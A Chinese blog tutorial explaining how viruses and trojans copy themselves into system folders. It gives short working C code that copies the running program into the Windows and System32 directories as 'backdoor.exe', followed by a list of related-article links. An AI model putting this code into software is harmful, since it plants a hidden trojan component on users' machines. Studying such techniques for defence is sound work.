复制自身程序到windows目录和系统目录下
来源:互联网 发布:mdf文件恢复数据库 编辑:程序博客网 时间:2024/05/16 15:46
一般病毒木马都有这种类似的功能,完成这个功能并不复杂,下面来拆解思考一下实现的代码步骤吧!
复制就是拷贝,既然是拷贝就要知道拷贝的程序的原始位置和目的位置。整个过程其实分了3步。首先要的到自身程序所在的路径,然后获取windows目录和系统目录,最后就分别拷贝自身程序到这两个目录。这几个步骤如何去实现呢?不要急,一步一步来,下面我们就来看看要完成这些功能需要哪些API函数。
获得自身程序所在路径的API函数:GetModuleFileName(); 获得windows目录的API函数:GetWindowsDirectory(); 获得系统目录的API函数:GetSystemDirectory(); 拷贝文件的API函数:CopyFile();
需要用到的API函数已经列出来了,下面就完成这个复制自身程序到windows目录和系统目录下的程序吧,代码如下:
/*************************************************复制自身程序到windows目录和系统目录下************************************************/#include <windows.h>void CopySelf();int main(void){CopySelf();return 0;}void CopySelf(){//保存自身程序的路径char szSelfName[MAX_PATH] = { 0 };//保存windows目录的路径char szWindowsPath[MAX_PATH] = { 0 };//保存系统目录的路径char szSystemPath[MAX_PATH] = { 0 };//临时路径变量char szTmpPath[MAX_PATH] = { 0 };GetModuleFileName(NULL, szSelfName, MAX_PATH);GetWindowsDirectory(szWindowsPath, MAX_PATH);GetSystemDirectory(szSystemPath, MAX_PATH);strcat(szWindowsPath, "\\backdoor.exe");strcat(szSystemPath, "\\backdoor.exe");CopyFile(szSelfName, szWindowsPath, FALSE);CopyFile(szSelfName, szSystemPath, FALSE);}
这是我写的第一篇博文,希望大家多多支持。
0 0
- 复制自身程序到windows目录和系统目录下
- 复制自身程序到Windows目录和系统目录下
- 复制自身程序到windows目录和系统目录,获取系统的相关信息
- vc++实现复制自身到系统目录 源码+详细注释
- 安卓实现安装已有apk到系统目录下和安装apk自身到系统目录下
- windows api 之复制文件到指定目录和获得系统信息
- Windows下复制目录结构
- Cygwin在windows系统下编译Linux程序以及访问windows系统目录和软件
- Linux下c语言实现将一个目录下的所有文件和目录复制到另一个目录下
- Linux下c语言实现将一个目录下的所有文件和目录复制到另一个目录下
- Linux下c语言实现将一个目录下的所有文件和目录复制到另一个目录下
- windows下删除某一个目录及自身的BAT脚本
- windows下批处理更新当前目录到系统环境变量中
- centos复制目录下的文件到另一目录下
- 获取系统目录和Windows目录
- android调用系统相册将图片复制到指定目录下并显示复制进度
- 文件复制,目录到目录
- 复制原目录下的子目录到目的目录
- CAGradientLayer与CAShapeLayer实现不同颜色画圆动画(Spark相机的录制的效果)
- Dart是一个怎样的语言?
- 更换IP地址方法简介
- BZOJ4006【斯坦纳树】
- Palindrome Partitioning II
- 复制自身程序到windows目录和系统目录下
- 欢迎使用CSDN-markdown编辑器
- java项目管理经验总结
- 将w32 dll文件以资源的形式加载,并且在内存中调用
- CVX coding
- 开始刷leetcode day3: house robber
- iOS- 传感器用法简介
- 百万宝贝观后感
- 硫磺岛家书观后感